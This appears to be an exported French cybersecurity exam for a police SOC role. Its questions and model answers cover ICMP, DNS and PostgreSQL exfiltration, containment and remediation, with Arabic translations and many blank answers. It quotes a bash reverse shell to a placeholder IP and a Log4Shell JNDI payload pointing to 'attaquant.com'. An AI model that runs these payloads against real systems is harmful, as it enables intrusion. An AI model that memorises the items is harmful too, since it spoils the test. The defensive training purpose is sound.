Une investigation sur le serveur GitLab montre un processus Python, `log-rotator.py`, s'exécutant en tant qu'utilisateur `gitlab-runner`. Le code du script est fortement obfusqué. Simultanément, une revue des logs d'audit de GitLab indique qu'un commit récent, poussé par un compte développeur potentiellement compromis, a modifié le fichier `.gitlab-ci.yml` d'un projet pour exécuter ce script `log-rotator.py` avant chaque build.

Décrivez votre plan d'analyse et de réponse en 5 minutes, en abordant les points suivants :

1. Identifiez la technique d'exfiltration de données suspectée et expliquez son principe de fonctionnement dans ce contexte.
2. Détaillez votre approche pour analyser le script Python obfusqué et la commande Linux que vous utiliseriez pour confirmer en temps réel que ce processus spécifique est bien à l'origine des paquets ICMP anormaux.
3. Proposez une mesure de confinement "chirurgicale" au niveau du pare-feu FortiGate pour bloquer ce canal de communication sans interrompre les usages légitimes du protocole ICMP.
4. Énoncez les trois étapes de remédiation critiques à effectuer sur GitLab (au niveau du dépôt et de l'utilisateur) pour éradiquer la source de la compromission.

Réponse : Question 45

Cette question évalue la capacité du candidat à identifier une technique d'exfiltration furtive (ICMP tunneling) en corrélant des signaux faibles provenant de sources hétérogènes (réseau, système, applicatif). Elle teste également ses compétences en investigation sur un système Linux (analyse de processus, désobfuscation de script), sa maîtrise de la configuration d'équipements de sécurité (FortiGate) pour un confinement précis, et sa compréhension des procédures de remédiation dans un environnement DevSecOps (GitLab).

La réponse correcte est : 1. Technique : Il s'agit de tunneling ICMP . L'attaquant encapsule les données volées dans la charge utile de paquets ICMP Echo Request. Cette technique est furtive car le trafic ICMP est souvent autorisé en sortie par les pare-feu pour les diagnostics réseau et n'est généralement pas inspecté en profondeur, surtout au niveau de sa charge utile. 2. Analyse du script et du processus : Script Python : Je procèderais à une désobfuscation statique en plusieurs étapes : identifier les encodages (ex: base64, hex), décoder les chaînes de caractères, et analyser la logique, notamment les appels à `exec()` ou `eval()`. Je rechercherais spécifiquement la création de sockets brutes (`socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)`) qui est caractéristique de cette attaque. Confirmation sur l'hôte : Pour lier le processus (PID XXXX) au trafic, j'utiliserais la commande `strace -p XXXX -e trace=network`. Elle me montrerait en temps réel tous les appels système liés au réseau (comme `sendto`) effectués par ce processus, confirmant qu'il envoie bien les paquets ICMP suspects. 3. Confinement Réseau (FortiGate) : Je ne bloquerais pas tout le trafic ICMP. Je créerais une règle de pare-feu spécifique et ciblée : `DENY` pour tout trafic ICMP de type 8 (Echo Request) provenant de l'IP du serveur GitLab vers l'IP de l'attaquant, avec une condition sur la taille du paquet ou de la charge utile (ex: ICMP payload size > 64 bytes) . Cela bloque le canal d'exfiltration sans affecter les pings de diagnostic standards. 4. Remédiation GitLab : 1. Isoler le Runner et Revert : Mettre en pause le runner GitLab concerné pour stopper toute exécution. Identifier le commit malveillant, le revertir pour nettoyer l'historique du projet, et supprimer le script `log-rotator.py`. 2. Révoquer les Accès : Révoquer immédiatement tous les accès du compte développeur compromis (mot de passe, tokens d'API, clés SSH) et forcer la réinitialisation avec activation du MFA. 3. Auditer et Assainir : Auditer tous les commits récents de cet utilisateur sur tous les projets. Ré-imager le serveur GitLab runner à partir d'une image saine connue pour éliminer toute persistance potentielle laissée sur le système.1. التقنية: هذه تقنية نفق ICMP (ICMP tunneling) . يقوم المهاجم بتغليف البيانات المسروقة داخل حمولة حزم ICMP Echo Request. هذه التقنية خفية لأن حركة مرور ICMP غالبًا ما تكون مسموحًا بها للخروج عبر جدران الحماية لأغراض تشخيص الشبكة، وعادة لا يتم فحصها بعمق، خاصة على مستوى حمولتها. 2. تحليل البرنامج النصي والعملية: برنامج بايثون: سأقوم بفك تمويه البرنامج النصي بشكل ثابت على عدة مراحل: تحديد التشفير المستخدم (مثل base64, hex)، فك تشفير السلاسل النصية، وتحليل المنطق، خاصة استدعاءات `exec()` أو `eval()`. سأبحث تحديدًا عن إنشاء "raw sockets" (`socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)`) وهو أمر مميز لهذا النوع من الهجمات. التأكيد على المضيف: لربط العملية (PID XXXX) بحركة المرور، سأستخدم الأمر `strace -p XXXX -e trace=network`. سيُظهر لي هذا الأمر في الوقت الفعلي جميع استدعاءات النظام المتعلقة بالشبكة (مثل `sendto`) التي تقوم بها هذه العملية، مما يؤكد أنها هي التي ترسل حزم ICMP المشبوهة. 3. الاحتواء على مستوى الشبكة (FortiGate): لن أقوم بحظر كل حركة مرور ICMP. سأقوم بإنشاء قاعدة جدار حماية محددة ومستهدفة: `DENY` لكل حركة مرور ICMP من النوع 8 (Echo Request) الصادرة من عنوان IP لخادم GitLab إلى عنوان IP للمهاجم، مع شرط على حجم الحزمة أو الحمولة (مثال: حجم حمولة ICMP > 64 بايت) . هذا يمنع قناة التسريب دون التأثير على استخدامات ping التشخيصية القياسية. 4. الإصلاح على GitLab: 1. عزل الـ Runner والتراجع: إيقاف مشغل GitLab المعني فورًا لوقف أي تنفيذ. تحديد الـ commit الخبيث، و التراجع عنه (revert) لتنظيف تاريخ المشروع، وحذف البرنامج النصي `log-rotator.py`. 2. إلغاء الوصول: إلغاء جميع صلاحيات الوصول لحساب المطور المخترق فورًا (كلمة

المرور، رموز API، مفاتيح SSH) وفرض إعادة تعيينها مع تفعيل المصادقة متعددة العوامل (MFA). 3. التدقيق والتطهير: تدقيق جميع الـ commits الحديثة التي قام بها هذا المستخدم في جميع المشاريع. إعادة تثبيت نظام التشغيل لخادم GitLab runner من نسخة سليمة معروفة للقضاء على أي آليات استمرارية قد تكون قد ثركت على النظام.

Note de 0,00 sur 1,00 Incorrect Question 46

En tant qu'ingénieur au SOC de la Police Nationale, vous analysez une alerte du SIEM (ELK) indiquant une activité anormale sur le serveur de base de données PostgreSQL principal (SRV-DATA-01), qui contient des informations sensibles. L'alerte signale une augmentation significative des lectures du journal des transactions (WAL - Write-Ahead Logging). Simultanément, les logs du pare-feu FortiGate montrent une nouvelle connexion TCP persistante, avec un volume de données constant et élevé, initiée par SRV-DATA-01 vers un serveur "d'archivage" (SRV-ARCHIVE-03) sur le port 5432. Une vérification rapide montre que ce serveur d'archivage n'est pas censé recevoir de flux de données en temps réel de la base de données principale. L'analyse des processus sur SRV-DATA-01 ne révèle aucun binaire suspect.

En vous basant sur ces éléments, décrivez votre plan d'investigation et de réponse en 5 minutes :

1. Quelle technique d'exfiltration de données, furtive et spécifique à PostgreSQL, suspectez-vous ? Expliquez son principe de fonctionnement et pourquoi elle est difficile à détecter avec une surveillance basique des processus.
2. Quelles requêtes SQL précises (consultant les vues système comme `pg_catalog`) lanceriez-vous sur le serveur SRV-DATA-01 pour confirmer la présence de ce mécanisme d'exfiltration ?
3. Proposez une stratégie de confinement en deux étapes : une action immédiate au niveau de la base de données pour stopper le flux de données sans arrêter le service, et une règle de pare-feu FortiGate pour isoler le serveur compromis tout en permettant la poursuite de l'analyse.

Réponse : Question 46

La question évalue la capacité du candidat à identifier une technique d'attaque avancée et spécifique à une technologie (PostgreSQL), à utiliser des outils d'investigation natifs à cette technologie, et à élaborer un plan de confinement qui équilibre sécurité et continuité de service.

1. Technique d'exfiltration : Le candidat doit identifier l'abus des fonctionnalités de réplication natives de PostgreSQL (Streaming ou Logical Replication). L'attaquant configure un serveur sous son contrôle (SRV-ARCHIVE-03) pour agir comme un réplica, forçant le serveur principal à lui envoyer toutes les modifications de données. C'est furtif car cela utilise le protocole et les processus légitimes de PostgreSQL, sans créer de binaire malveillant sur la machine source.

2. Investigation SQL : Les requêtes clés à mentionner sont `SELECT * FROM pg_stat_replication;` pour voir les connexions de réplication actives, et `SELECT * FROM pg_replication_slots;` pour identifier les slots de réplication persistants qui pourraient être utilisés par l'attaquant.

3. Stratégie de confinement :

- **Niveau Base de Données : Utiliser la fonction `pg_terminate_backend(pid)` pour couper la connexion du processus de réplication malveillant (identifié via `pg_stat_replication`), suivi de `pg_drop_replication_slot('nom_du_slot');` pour empêcher la reconnexion.**
- **Niveau Réseau : Créer une règle spécifique sur le FortiGate pour interdire le trafic TCP de l'IP de SRV-DATA-01 vers l'IP de SRV-ARCHIVE-03 sur le port 5432. Cela agit comme une seconde couche de défense et empêche toute tentative de rétablir la connexion.**

La réponse correcte est : Le candidat identifie correctement la technique de "Logical Replication" ou "Streaming Replication" de PostgreSQL comme vecteur d'attaque. Il explique qu'un attaquant, après avoir compromis le serveur d'archivage et obtenu des identifiants de base de données, a configuré le serveur compromis comme un "standby" ou un "subscriber", forçant la base principale à lui envoyer un flux continu de toutes les modifications de données via le protocole de réplication natif. Il mentionne que cela est furtif car le processus `postgres` est légitime. Pour l'investigation, il propose de vérifier les vues `pg_stat_replication` et `pg_replication_slots`. Pour le confinement, il suggère de terminer la connexion du réplicateur malveillant avec `pg_terminate_backend(pid)` et de supprimer le slot de réplication, puis de créer une règle FortiGate pour bloquer spécifiquement le flux de SRV-DATA-01 vers SRV-ARCHIVE-03 sur le port 5432.يحدد المرشح بشكل صحيح تقنية "النسخ المتماثل المنطقي" (Logical Replication) أو "النسخ المتماثل بالبث" (Streaming Replication) في PostgreSQL كوسيلة للهجوم. يشرح أن المهاجم، بعد اختراق خادم الأرشفة والحصول على بيانات اعتماد قاعدة البيانات، قام بتكوين الخادم المخترق كـ "standby" أو "subscriber"، مما يجبر قاعدة البيانات الرئيسية على إرسال تدفق مستمر لجميع تغييرات البيانات إليه عبر بروتوكول النسخ المتماثل الأصلي. يذكر أن هذا الأسلوب خفي لأن عملية `postgres` شرعية. للتحقيق، يقترح التحقق من طرق العرض `pg_stat_replication` و `pg_replication_slots`. للاحتواء، يقترح إنهاء اتصال الناسخ الخبيث باستخدام `pg_terminate_backend(pid)` وحذف "slot" النسخ المتماثل، ثم إنشاء قاعدة FortiGate لحظر التدفق تحديدًا من SRV-DATA-01 إلى SRV-ARCHIVE-03 على المنفذ 5432.

Note de 0,00 sur 1,00 Incorrect Question 47

En tant qu'ingénieur cybersécurité de la Police Nationale, vous êtes chargé de la sécurité de la pipeline CI/CD (GitLab) qui construit et déploie l'application critique "e-Signalement" sous forme d'image Docker. Suite à une alerte, une analyse de l'image Docker `e-signalement:latest` avec Trivy révèle la présence d'un binaire suspect et non documenté : `/usr/local/bin/kworker`. Parallèlement, les logs du pare-feu FortiGate montrent que les conteneurs fraîchement déployés à partir de cette image initient des connexions sortantes persistantes vers une adresse IP inconnue (45.X.X.X) sur le port TCP/8443. Une revue du code source de l'application dans le dépôt Git ne montre aucune trace de ce binaire ou de cet appel réseau.

Décrivez votre méthodologie d'investigation pour tracer l'origine de cette injection malveillante durant le processus de build. Identifiez trois vecteurs d'attaque potentiels et distincts au sein de la pipeline CI/CD qui auraient pu permettre cette compromission, et pour chaque vecteur, .proposez une mesure de remédiation technique spécifique pour prévenir de futurs incidents

Réponse : Question 47

: La réponse correcte est

Note de 0,00 sur 1,00 Incorrect Question 48

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une série d'événements de faible priorité qui, une fois corrélés, dessinent un : scénario inquiétant

Alerte Wazuh (Poste PC-DBA-01) : Un script PowerShell a initié une session à distance (`New-PSSession`) vers le serveur de base de données .1 .critique `SRV-DATA-CRITICAL`. L'utilisateur est un administrateur de base de données légitime

Logs PostgreSQL (SRV-DATA-CRITICAL) : Le même administrateur a créé une nouvelle fonction (UDF) nommée `pg_system_health()` dans la .2 .base de données principale, en utilisant le langage `plpython3u`

Logs FortiGate : Le serveur `SRV-DATA-CRITICAL` initie désormais des connexions TCP sortantes, chiffrées (TLS), à faible volume et à intervalle .3 régulier, vers une adresse IP publique (82.X.X.X) sur le port 443. L'IP de destination n'est pas sur les listes de réputation et ne correspond à aucun .service connu

: En vous basant sur ces trois signaux, décrivez votre plan d'analyse et de réponse en 5 minutes

Quelle est votre hypothèse principale sur la chaîne d'attaque (kill chain) utilisée, de la compromission initiale à l'établissement de la .1 ? persistance

Quelle requête SQL précise exécuteriez-vous pour inspecter le code source de la fonction `pg_system_health()` et quel type de code malveillant .2 ? (en termes de fonctionnalité) vous attendez-vous à y trouver

Proposez deux actions de confinement immédiates et complémentaires : une sur le serveur de base de données lui-même (niveau OS/DB) et .3 .une sur le pare-feu FortiGate, pour neutraliser la menace tout en préservant les preuves et en minimisant l'impact sur le service

Réponse : Question 48

: La réponse correcte est

Note de 0,00 sur 1,00 Incorrect Question 49

En tant qu'ingénieur au sein du SOC de la Police Nationale, vous recevez une alerte critique du SIEM (Wazuh). L'alerte indique que le processus `www-data` sur le serveur web hébergeant l'application sensible "e-Dossiers" a généré un reverse shell : `/bin/bash -i >& /dev/tcp/185.X.X.X/4444 0>&1`. Ce serveur applicatif s'exécute dans un conteneur Docker sur un hôte Linux. Simultanément, le pare-feu .FortiGate signale une connexion TCP sortante persistante depuis l'hôte Docker vers la même adresse IP (185.X.X.X) sur le port 4444

Décrivez, en étapes techniques précises, votre plan d'action initial de 5 minutes pour contenir la menace, investiguer son origine et préserver les preuves, tout en minimisant l'impact sur les opérations critiques de la police. Spécifiez les outils (pertinents par rapport à la fiche de poste) et les .commandes que vous utiliseriez à chaque étape

Réponse : Question 49

Cette question évalue votre capacité à gérer un incident de sécurité complexe en temps réel, en corrélant des alertes provenant de différentes sources (SIEM, pare-feu). Elle teste votre méthodologie de réponse à incident (confinement, investigation, préservation des preuves) dans un environnement moderne (Docker). La qualité de la réponse dépend de la précision des commandes, du choix des outils et de la priorisation des actions pour un équilibre .entre sécurité et continuité des opérations

La réponse correcte est : Une réponse experte doit inclure une séquence logique d'actions priorisées :
1. Confinement (1-2 minutes) :
- Immédiatement, bloquer l'IP suspecte 185.X.X.X au niveau du pare-feu FortiGate pour couper la communication du reverse shell. Ne pas tuer le processus pour ne pas perdre les preuves en mémoire.
- Isoler l'hôte Docker du reste du réseau de production en le plaçant dans un VLAN de quarantaine, tout en maintenant un accès pour l'analyse.

2. Investigation & Vérification (2-3 minutes) :
- Se connecter à l'hôte Docker. Utiliser `docker ps` pour identifier le conteneur suspect.
- Accéder au conteneur sans l'arrêter : `docker exec -it

[container_id] /bin/bash`.<br>- À l'intérieur du conteneur, vérifier le processus malveillant avec `ps aux | grep bash` et la connexion réseau avec `netstat -anp | grep 4444`.<br>- Sur l'hôte, utiliser `docker diff [container_id]` pour lister les fichiers créés ou modifiés, ce qui peut révéler des webshells ou des outils de l'attaquant.<br>- Analyser les logs du serveur web (ex: `/var/log/nginx/access.log`) à l'intérieur du conteneur pour trouver la requête initiale ayant permis l'exploitation (recherche de patterns d'injection de commande, etc.).

<strong>3. Préservation des preuves (1 minute) :</strong>
- Créer une image "snapshot" du conteneur compromis pour une analyse forensique ultérieure : `docker commit [container_id] image_compromise:latest`.
- Copier les logs pertinents du conteneur et de l'hôte vers un serveur de stockage sécurisé.</span><span lang="ar" class="multilang">يجب أن تتضمن الإجابة الاحترافية تسلسلاً منطقيًا للإجراءات ذات الأولوية:
<strong>1. الاحتواء (1-2 دقيقة):</strong>
- على الفور، حظر عنوان IP المشبوه X.X.X.185 على مستوى جدار الحماية FortiGate لقطع اتصال القشرة العكسية. عدم إيقاف العملية للحفاظ على الأدلة الموجودة في الذاكرة.
- عزل مضيف Docker عن بقية شبكة الإنتاج عن طريق وضعه في شبكة VLAN للحجر الصحي، مع الحفاظ على إمكانية الوصول للتحليل.

<strong>2. التحقيق والتحقق (2-3 دقائق):</strong>
- الاتصال بمضيف Docker. استخدام `docker ps` لتحديد الحاوية المشبوهة.
- الدخول إلى الحاوية دون إيقافها: `docker exec -it [container_id] /bin/bash`.
- داخل الحاوية، التحقق من العملية الخبيثة باستخدام `ps aux | grep bash` والاتصال الشبكي باستخدام `netstat -anp | grep 4444`.
- على المضيف، استخدام `docker diff [container_id]` لسرد الملفات التي تم إنشاؤها أو تعديلها، مما قد يكشف عن وجود webshells أو أدوات للمهاجم.
- تحليل سجلات خادم الويب (مثل: `var/log/nginx/access.log/`) داخل الحاوية للعثور على الطلب الأولي الذي سمح بالاستغلال (البحث عن أنماط حقن الأوامر، إلخ).

<strong>3. الحفاظ على الأدلة (دقيقة واحدة):</strong>
- إنشاء صورة "لقطة" من الحاوية المخترقة لتحليل جنائي لاحق: `docker commit [container_id] image_compromise:latest`.
- نسخ السجلات ذات الصلة من الحاوية والمضيف إلى خادم تخزين آمن.

Note de 0,00 sur 1,00 Incorrect Question 50

La Police Nationale déploie une nouvelle application critique, "ID-Bio", pour la gestion des données biométriques sur un cluster Kubernetes. L'architecture est la suivante : un Ingress Nginx expose un microservice frontend 'WebApp'. Ce dernier communique avec un 'API-Gateway', qui relaie les requêtes vers les microservices backend 'Biometric-Processor' et 'UserData'. Une base de données PostgreSQL tourne dans son propre pod. Tous les composants sont déployés dans le namespace `default` et la communication intra-cluster est totalement ouverte. L'équipe de développement soutient que la configuration est sécurisée car le trafic externe est chiffré (TLS) jusqu'à l'Ingress et le cluster est protégé par un pare-feu FortiGate. En tant qu'ingénieur cybersécurité, analysez cette architecture. Identifiez trois vulnérabilités critiques de conception distinctes (ex: réseau, configuration, secrets). Pour chaque vulnérabilité, décrivez un scénario d'attaque réaliste et proposez une mesure de remédiation technique et spécifique (ex: configuration Kubernetes, outil de sécurité) pour la corriger.

Réponse : Question 50

La réponse correcte est :

Note de 0,00 sur 1,00 Incorrect Question 51

En tant qu'analyste au SOC de la Police Nationale, vous examinez des logs des dernières 24 heures suite à des soupçons d'activité anormale, bien qu'aucune alerte de haute sévérité n'ait été déclenchée. Vous disposez des extraits suivants provenant de trois sources différentes :

1. **Logs du pare-feu FortiGate :**

```
time=03:05:15 ... srcip=10.10.30.15 (Poste-Officier-04) dstip=203.0.113.50 ... service=HTTPS ... sentbyte=512 ...
```

(Plusieurs entrées similaires sont observées entre 03:00 et 04:00).

2. **Alertes Wazuh (sur le poste 10.10.30.15) :**

```
Alert: Suspicious PowerShell command executed. Details: powershell.exe -enc JABzAHQAcgA9ACgAZwBjAG0AIAAqAHMAZQBsAGUAYwB0ACoAKQAuAEUAeABwAGEAbgBkACgAIgBTAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAZABvAHMAcwBpAGUAcgBzACAA...
```

(la chaîne encodée est longue) `pAGUAcgBzACAA...`.

3. **Logs de la base de données PostgreSQL (serveur 10.10.20.10) :**

```
LOG: statement: SELECT nom, prenom, casier FROM dossiers_judiciaires WHERE id_dossier > 5000 LIMIT 5;
CONNECTION: user=analyste_judiciaire database=enquetes client=10.10.30.15
```

(Des requêtes similaires avec `LIMIT 5` sont répétées de nombreuses fois).

En vous basant sur la corrélation de ces éléments, décrivez votre analyse en 5 minutes :

1. Reconstituez la chaîne d'attaque la plus probable, de la compromission initiale à l'exfiltration des données.
2. Quelle est votre première action pour analyser la commande PowerShell encodée et quel est son but probable dans ce scénario ?
3. Identifiez la technique d'exfiltration utilisée et expliquez pourquoi elle a pu échapper aux alertes basées sur le volume.
4. Proposez une règle de corrélation spécifique que vous pourriez implémenter dans le SIEM (Wazuh/ELK) pour détecter ce type de menace à l'avenir.

Réponse : Question 51

: La réponse correcte est

Note de 0,00 sur 1,00 Incorrect Question 52

En tant qu'analyste au SOC de la Police Nationale, vous êtes alerté par le SIEM (Wazuh) d'un volume anormalement élevé de requêtes DNS provenant du serveur de base de données PostgreSQL critique (IP: 10.10.20.5), qui héberge des données sensibles. Les requêtes ciblent des sous-domaines aléatoires d'un domaine suspect, `data-stream.net`, et ressemblent à `ZGF0YS1wYXJ0LTEK.data-stream.net`, `ZGF0YS1wYXJ0LTIK.data-stream.net`, etc. Le pare-feu FortiGate confirme ce trafic sortant sur le port 53 (UDP/TCP) vers les résolveurs DNS publics.

: Expliquez votre plan d'action en 5 minutes. Détaillez

1. Le nom de la technique d'exfiltration suspectée et son principe de fonctionnement.
2. Les commandes précises que vous lanceriez sur le serveur Linux (Ubuntu) pour identifier le processus malveillant à l'origine de ces requêtes.
3. Votre méthode pour capturer, décoder et potentiellement reconstruire une partie des données exfiltrées à partir des logs DNS ou d'une capture réseau.
4. Deux mesures de confinement distinctes et complémentaires : une au niveau du réseau (FortiGate) et une au niveau du système d'exploitation du serveur.

Réponse : Question 52

Cette question évalue la capacité à identifier une technique d'exfiltration avancée (tunneling DNS), à mener une investigation rapide sur un système Linux compromis, à analyser des protocoles réseau non-conventionnels et à mettre en œuvre une stratégie de confinement multi-niveaux (réseau et hôte). Un expert doit rapidement corréler l'alerte SIEM avec la TTP correspondante et appliquer des commandes de forensic live pour isoler la source de la menace.

La réponse correcte est : 1. Technique : Tunneling DNS (ou C2 sur DNS). Les données sont encodées (souvent en Base64 ou Hex) et placées dans les sous-domaines des requêtes DNS. Le serveur DNS malveillant de l'attaquant reçoit ces requêtes et décode les données. 2. Identification du processus : Connexion SSH au serveur. Utiliser `ps aux | grep -i dns` ou `lsof -i:53` pour voir les processus utilisant le port DNS. Pour une analyse plus fine, utiliser `tcpdump -i any port 53 -w capture.pcap` pour capturer le trafic, puis `netstat -anp` pour corréler les PID avec les connexions sortantes. Un outil comme `auditd` serait idéal pour tracer l'origine. 3. Analyse des données : Utiliser Wireshark ou `tshark` sur la capture pour filtrer les requêtes vers `data-stream.net`. Extraire les sous-domaines avec un script (Python/Bash), les concaténer et les décoder (ex: `echo 'ZGF0YS1wYXJ0LTEK' | base64 -d`). 4. Confinement : Réseau (FortiGate) : Créer une règle de blocage pour le domaine ` .data-stream.net` dans le filtre DNS/Web. Idéalement, mettre en place un "DNS Sinkhole" pour rediriger ces requêtes vers un serveur contrôlé pour analyse. Système : Isoler le serveur du réseau (sauf pour l'accès de l'analyste). Tuer le processus malveillant identifié (`kill -9 PID`). Bloquer les requêtes DNS sortantes dans le pare-feu local (`ufw` ou `iptables`) sauf vers les serveurs DNS internes autorisés.1. التقنية: الأنفاق عبر DNS (أو DNS Tunneling / C2 over DNS). يتم ترميز البيانات (غالبًا بـ Base64 أو Hex) ووضعها في النطاقات الفرعية لاستعلامات DNS. يستقبل خادم DNS الخبيث للمهاجم هذه الاستعلامات ويفك ترميز البيانات. 2. تحديد العملية: الاتصال بالخادم عبر SSH. استخدام `ps aux | grep -i dns` أو `lsof -i:53` لرؤية العمليات التي تستخدم منفذ DNS. لتحليل أدق، استخدام `tcpdump -i any port 53 -w capture.pcap` لالتقاط حركة المرور، ثم `netstat -anp` لربط معرفات العمليات (PID) بالاتصالات الصادرة. أداة مثل `auditd` ستكون مثالية لتتبع المصدر. 3. تحليل البيانات: استخدام Wireshark أو `tshark` على ملف الالتقاط لتصفية الاستعلامات الموجهة إلى `data-stream.net`. استخراج النطاقات الفرعية باستخدام سكربت (Python/Bash)، ودمجها، وفك ترميزها (مثال: `echo 'ZGF0YS1wYXJ0LTEK' | base64 -d`). 4. الاحتواء: على مستوى الشبكة (FortiGate): إنشاء قاعدة لحظر النطاق ` .data-stream.net` في مرشح DNS/Web. من الأفضل إعداد "DNS Sinkhole" لإعادة توجيه هذه الاستعلامات إلى خادم مراقب للتحليل. على مستوى النظام: عزل الخادم عن الشبكة (باستثناء وصول المحلل)، إيقاف العملية الخبيثة المحددة (`kill -9 PID`). حظر استعلامات DNS الصادرة في جدار الحماية المحلي (`ufw` أو `iptables`) باستثناء خوادم DNS الداخلية المعتمدة.

Note de 0,00 sur 1,00 Incorrect Question 53

En tant qu'auditeur sécurité pour la Police Nationale, vous effectuez un test d'intrusion sur une application web "e-Permis" hébergée sur un serveur Ubuntu dans une DMZ (VLAN 10). Vous avez exploité une injection SQL avec `sqlmap` et obtenu un shell en tant qu'utilisateur `www-data`. L'architecture réseau est la suivante : un pare-feu FortiGate sépare la DMZ du réseau interne (VLAN 20), qui héberge les bases de données critiques (PostgreSQL) et les postes de travail. La seule règle de pare-feu autorisée de la DMZ vers le réseau interne est un flux du serveur web vers le serveur PostgreSQL sur le port TCP/5432. Décrivez votre méthodologie technique, étape par étape, pour utiliser cet accès initial afin de pivoter vers le réseau interne (VLAN 20). Précisez les outils (ex: Metasploit, Nmap) et les techniques spécifiques que vous emploieriez pour cartographier le réseau interne et tenter d'accéder à d'autres systèmes, en contournant la segmentation réseau.

Réponse : Question 53

Cette question évalue la capacité du candidat à aller au-delà de l'exploitation initiale d'une vulnérabilité pour comprendre et exécuter des techniques de mouvement latéral dans un environnement réseau segmenté. Elle teste la connaissance pratique des outils de pentest, des concepts de réseau (pare-feu, VLAN) et des techniques de pivoting qui sont essentielles pour évaluer l'impact réel d'une compromission.

: La réponse correcte est

Note de 0,00 sur 1,00 Incorrect Question 54

En tant qu'enquêteur au Centre de Cyberdéfense, vous analysez des éléments saisis lors d'une opération contre un groupe cybercriminel. Vous disposez de trois artefacts : 1) L'adresse IP d'un suspect : 196.201.X.Y (bloc d'IP mauritanien). 2) Un script d'exfiltration en Python (`data_exfil.py`) qui utilise la librairie `psycopg2` pour se connecter à une base de données PostgreSQL et envoie les résultats à un bot Telegram. 3) Un pseudonyme, `Badr_RM`, mentionné dans des communications. L'adresse IP de la base de données cible et les identifiants ont été effacés du script. Décrivez votre stratégie d'investigation en 5 minutes. Précisez les étapes logiques, les types d'outils (OSINT, analyse réseau, etc.) et les méthodologies que vous emploieriez pour corréler ces artefacts, identifier la base de données gouvernementale compromise, et établir un profil .`sur le potentiel complice `Badr_RM

Réponse : Question 54

: La réponse correcte est

Note de 0,00 sur 1,00 Incorrect Question 55

: En tant qu'analyste principal du SOC de la Police Nationale, vous êtes confronté à une situation de crise. Une cascade d'alertes se déclenche

Wazuh (SRV-FICHIERS) : Alerte de haute sévérité pour la création massive de fichiers avec l'extension `.lockbit3` sur les partages réseau .1 .critiques

FortiGate : Pic de trafic SMB (TCP/445) anormalement élevé, initié depuis le poste `PC-JURIDIQUE-05` (10.10.30.22) vers de multiples serveurs .2 .internes

Logs Windows (PC-JURIDIQUE-05) : Un événement de sécurité 4688 (Création de processus) montre que `powershell.exe` a lancé `PsExec.exe` .3 .pour exécuter une commande sur `SRV-FICHIERS`

SIEM (ELK) : Une requête sur les logs d'authentification révèle que le compte de l'utilisateur de `PC-JURIDIQUE-05` s'est authentifié avec succès .4 .depuis une adresse IP du pool VPN il y a 15 minutes, alors que l'utilisateur est physiquement présent dans les locaux

Décrivez votre plan d'action immédiat et structuré en 5 minutes pour gérer cette attaque par rançongiciel en cours de propagation. Votre réponse : doit impérativement couvrir

Confinement d'Urgence : Quelle est votre toute première action technique pour stopper la propagation latérale du rançongiciel ? Spécifiez la .1 .mesure au niveau du réseau (FortiGate) et la justification de son impact

Isolation de la Source : Quelle action menez-vous sur le poste `PC-JURIDIQUE-05` ? Justifiez le choix entre une déconnexion réseau, un arrêt .2 .brutal, ou une autre méthode

Évaluation de l'Étendue : Quelle requête simple mais efficace lanceriez-vous dans votre SIEM (ELK) pour identifier rapidement tous les autres .3 ? systèmes potentiellement compromis ou ciblés par `PC-JURIDIQUE-05`

Préservation des Preuves Clés : Avant toute action de remédiation sur `PC-JURIDIQUE-05`, quelle est la donnée la plus volatile et la plus cruciale .4 ? à préserver, et quel outil (disponible dans un environnement Linux comme Kali ou une SIFT Workstation) utiliseriez-vous pour la collecter

Réponse : Question 55

: La réponse correcte est

Note de 0,00 sur 1,00 Incorrect Question 56

Vous menez un test d'intrusion sur une application web Java interne de la Police Nationale, "e-Procedures", hébergée sur un serveur Ubuntu. Vous identifiez et exploitez avec succès la vulnérabilité Log4Shell (CVE-2021-44228) en injectant la charge utile `${jndi:ldap://attaquant.com/exploit}` .dans un en-tête HTTP. Cette action déclenche une connexion LDAP sortante depuis le serveur web et vous octroie un reverse shell

En changeant de rôle pour celui d'un analyste SOC, décrivez en 5 minutes une stratégie de détection et de réponse en profondeur pour cet : incident précis. Votre réponse doit couvrir trois axes distincts

Détection Réseau (FortiGate/Wireshark) : Quels indicateurs de compromission (IoC) spécifiques et quelles signatures de trafic (protocoles, .1 ? ports, payloads inhabituels) rechercheriez-vous pour identifier à la fois la tentative d'exploitation JNDI et la communication du reverse shell

Analyse sur l'Hôte (Wazuh/Sysmon) : Quels artefacts précis (entrées de logs applicatifs, journaux système) et quelle chaîne de processus .2

? anormale (parent/enfant) rechercheriez-vous sur le serveur Ubuntu pour confirmer la compromission et identifier le binaire malveillant

3. **Règle de Corrélation SIEM (ELK/Wazuh) :** Définissez la logique d'une règle de corrélation de haute-fidélité qui combinerait les événements réseau et hôte pour alerter sur cette chaîne d'attaque complète, en expliquant comment elle minimiserait les faux positifs.

Réponse : Question 56

: La réponse correcte est